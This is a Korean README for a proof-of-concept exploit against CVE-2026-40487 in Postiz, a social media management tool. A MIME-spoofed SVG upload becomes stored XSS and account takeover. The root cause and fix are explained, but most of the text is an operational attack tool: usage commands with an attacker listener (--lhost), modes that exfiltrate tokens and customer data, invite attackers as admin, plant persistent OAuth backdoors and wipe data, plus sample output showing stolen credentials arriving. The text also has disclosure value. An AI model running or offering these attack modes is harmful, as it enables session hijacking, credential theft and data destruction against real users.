
CVE-2026-40487에 대한 개념 증명 익스플로잇으로, MIME 스푸핑을 통한 임의 파일 업로드를 시연하여 Postiz에서 저장형 XSS 및 계정 탈취로 이어집니다. 데이터 유출, 권한 상승, 지속성을 위한 여러 공격 모드를 포함합니다.
발견 및 보고: Astaruf
전체 분석 문서: https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/
NVD 항목: https://nvd.nist.gov/vuln/detail/CVE-2026-40487
GHSA 항목: https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx
CVE 레코드: https://www.cve.org/CVERecord?id=CVE-2026-40487
Postiz는 28개 이상의 플랫폼 통합(Instagram, X, LinkedIn, Facebook, TikTok 등)을 지원하는 오픈소스 소셜 미디어 관리 도구로, 인터넷에 노출된 600개 이상의 인스턴스에서 사용되고 있습니다.
낮은 권한의 공격자는 스푸핑된 Content-Type: image/png 헤더를 가진 악성 SVG(또는 HTML) 파일을 업로드할 수 있습니다. 서버는 실제 파일 내용을 검사하지 않고 파일을 수락하며, 원래 확장자를 유지하고, nginx는 해당 확장자에서 파생된 Content-Type(image/svg+xml)으로 파일을 제공합니다. 피해자가 URL을 열면 임베디드 JavaScript가 애플리케이션의 오리진에서 실행되어 공격자에게 계정 탈취에 해당하는 완전한 세션 하이재킹 기능을 제공합니다.
공격 체인:
공격자가 Content-Type: image/png 헤더로 .svg 업로드
-> 서버가 Content-Type 헤더만 검증 (CWE-345)
-> 파일이 원래 .svg 확장자로 디스크에 저장됨 (CWE-434)
-> nginx가 image/svg+xml로 제공
-> 브라우저가 임베디드 JavaScript 실행 (CWE-79)
-> 동일 오리진: 피해자 세션에 대한 완전한 접근 권한
XSS 페이로드는 애플리케이션과 동일 오리진에서 실행됩니다. 인증 쿠키가 HttpOnly이더라도 credentials: "include"를 사용한 fetch()가 자동으로 쿠키를 첨부합니다. 공격자는 다음을 수행할 수 있습니다:
pos_* 토큰)세 가지 구성 요소가 독립적으로 실패하여 공격 체인을 구성합니다:
libraries/nestjs-libraries/src/upload/custom.upload.validation.ts:
const validation =
(value.mimetype.startsWith('image/') ||
value.mimetype.startsWith('video/mp4')) &&
value.size <= maxSize;
value.mimetype은 공격자가 제어하는 multipart 요청의 Content-Type 헤더에서 옵니다. 매직 바이트 검사가 없으며, file-type과 같은 라이브러리도 사용되지 않습니다.
libraries/nestjs-libraries/src/upload/local.storage.ts:
const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);
extname(file.originalname)은 클라이언트가 제공한 파일명에서 확장자를 추출합니다. 선언된 MIME 유형과 확장자 간의 일치 여부를 확인하지 않습니다. 서버는 또한 응답에서 전체 공개 URL을 반환하므로 공격자는 피해자에게 보낼 링크를 얻습니다.
http {
include /etc/nginx/mime.types;
location /uploads/ {
alias /uploads/;
}
}
nginx는 .svg를 image/svg+xml로, .html을 text/html로 매핑합니다. Content-Security-Policy, X-Content-Type-Options: nosniff, Content-Disposition: attachment가 없습니다.
Python 3.8+
pip install requests
# 1. 대상이 취약한지 확인
python3 poc.py http://target:5000 -e [email protected] -p password --check
# 2. 피해자로부터 모든 데이터 탈취
python3 poc.py http://target:5000 -e [email protected] -p password \
--lhost YOUR_IP -a full-dump
# 3. 영구 백도어 생성
python3 poc.py http://target:5000 -e [email protected] -p password \
--lhost YOUR_IP -a create-oauth-app
# 4. 자격 증명 없이 토큰 재사용
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
--lhost YOUR_IP -a full-dump
공격자 Postiz 서버 피해자
| | |
|-- 1. 로그인/가입 ------------>| |
|-- 2. 악성 SVG 업로드 -------->| |
|<---- 파일 URL ----------------| |
|-- 3. URL을 피해자에게 전송 ---------------------------> |
| |<--- 4. URL 열기 ------- |
| |--- SVG + JS ---------> |
|<-------------- 5. JS 실행, 데이터 탈취 ----------------|
| 모드 | 설명 |
|---|---|
dump-self | 피해자 프로필, 조직 정보, 등급, API 키 |
dump-personal | 표시 이름, 소개, 프로필 사진 |
dump-integrations | 연결된 소셜 미디어 통합 및 토큰 |
dump-posts | 예약 및 초안 게시물 (최근 365일) |
dump-team | 팀 구성원, 역할, 이메일 주소 |
dump-media | 미디어 라이브러리 목록 |
dump-notifications | 알림 기록 |
dump-signatures | 게시물 서명 |
dump-webhooks | 구성된 웹훅 및 해당 URL |
dump-oauth-app | OAuth 앱 자격 증명 (clientId, secret) |
dump-copilot | AI 코파일럿 대화 스레드 |
dump-billing | 결제 및 구독 정보 |
dump-settings | 단축 링크 및 알림 설정 |
dump-third-party | 타사 통합 구성 |
dump-autopost | 자동 게시 규칙 |
dump-sets | 콘텐츠 세트 |
dump-tags | 게시물 태그 |
dump-customers | 고객 목록 |
full-dump | 위의 모든 항목을 단일 페이로드로 |
| 모드 | 설명 |
|---|---|
add-admin | 피해자의 조직에 공격자를 ADMIN으로 초대 (--attacker-email) |
rotate-key | 조직 API 키 교체 및 탈취 |
rotate-oauth | OAuth 앱 시크릿 교체 및 탈취 |
| 모드 | 설명 |
|---|---|
kill-notifications | 모든 이메일 알림 비활성화 |
edit-profile | 피해자의 이름 및 소개 수정 (--edit-name, --edit-bio) |
wipe-signatures | 모든 게시물 서명 삭제 |
wipe-webhooks | 모든 웹훅 삭제 |
wipe-tags | 모든 태그 삭제 |
wipe-sets | 모든 콘텐츠 세트 삭제 |
wipe-autopost | 모든 자동 게시 규칙 삭제 |
logout-victim | 피해자 강제 로그아웃 |
delete-oauth-app | 피해자의 OAuth 애플리케이션 삭제 |
| 모드 | 설명 |
|---|---|
create-oauth-app | OAuth 앱 생성, 자동 승인, 영구 pos_* 토큰 탈취 (--oauth-redirect) |
steal-cookie | document.cookie를 통한 인증 JWT 탈취 (NOT_SECURED=true일 때) |
| 모드 | 설명 |
|---|---|
api-call | 인증된 임의 API 호출 (--api-method, --api-path, --api-body) |
custom | 임의 JavaScript 실행 (--custom-js) |
| 옵션 | 설명 |
|---|---|
--check | 대상이 취약한지 탐지 (공격 실행 없음) |
--register | 로그인 전 새 계정 등록 |
-t / --token | 자격 증명 대신 API 키 또는 pos_* 토큰 사용 |
--format html | SVG 대신 HTML 페이로드 사용 |
--proxy | HTTP/SOCKS 프록시를 통한 트래픽 라우팅 (예: Burp Suite) |
-o / --output | 획득 데이터를 JSON 파일로 저장 |
$ python3 poc.py http://target:5000 -e [email protected] -p S3cret! --lhost 10.0.0.1 -a full-dump
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██████╗ ██╗ ██╗ █████╗ ███████╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ██╔═████╗ ██║ ██║ ██╔══██╗ ╚════██║
██║ ██║ ██║█████╗ -2026- ███████║ ██║██╔██║ ███████║ ╚█████╔╝ ██╔╝
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ████╔╝██║ ╚════██║ ██╔══██╗ ██╔╝
╚██████╗ ╚████╔╝ ███████╗ ██║ ╚██████╔╝ ██║ ╚█████╔╝ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚════╝ ╚═╝
Postiz <= 2.21.5 — MIME 스푸핑 파일 업로드를 통한 저장형 XSS
[*] [email protected]으로 로그인 중 ...
[+] 인증 완료.
[*] 페이로드 생성 중: 단일 페이로드로 모든 데이터 탈취
[*] Content-Type: image/png 헤더로 악성 .svg 업로드 중 ...
[+] 업로드 성공.
ID: 28c1daee-d83e-403e-bc1f-dba63182d4b0
경로: http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
[*] 0.0.0.0:8888에서 탈취 리스너 시작 중 ...
=================================================================
이 URL을 피해자에게 보내세요:
http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
=================================================================
[*] 피해자가 링크를 열기를 기다리는 중 ...
[+] 2026-04-15 03:45:41에 획득 데이터 수신
태그: victim-profile
데이터: {"email":"[email protected]","orgId":"...","publicApi":"bd332945..."}
[+] 2026-04-15 03:45:41에 획득 데이터 수신
태그: integrations
데이터: [{"id":"...","providerIdentifier":"instagram","token":"IGQVJ..."}]
[+] 2026-04-15 03:45:42에 획득 데이터 수신
태그: team-members
데이터: [{"userId":"...","email":"[email protected]","role":"SUPERADMIN"}]
...
버전 2.21.6에서 세 가지 변경 사항이 도입되었습니다:
file-type 라이브러리를 사용하여 실제 파일 내용 검사image/* 포괄 허용 없음)| 날짜 | 이벤트 |
|---|---|
| 2026-04-10 | 소스 코드 검토 중 취약점 발견 |
| 2026-04-10 | GitHub Security Advisory (GHSA)를 통해 보고 |
| 2026-04-10 | 개발자가 확인하고 설명 요청 |
| 2026-04-10 | 상세 공격 시나리오 및 Shodan 데이터 제공 |
| 2026-04-11 | 증거와 함께 CVSS 이의 제기 제출 |
| 2026-04-13 | v2.21.6에서 수정 사항 릴리스 |
| 2026-04-14 | CVE-2026-40487 지정 |
| 2026-04-15 | 공개 공개 |
이 도구는 공인된 보안 테스트 및 교육 목적으로만 제공됩니다. 소유한 시스템 또는 명시적인 서면 허가를 받은 시스템에만 사용하십시오. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 작성자는 오용에 대해 어떠한 책임도 지지 않습니다.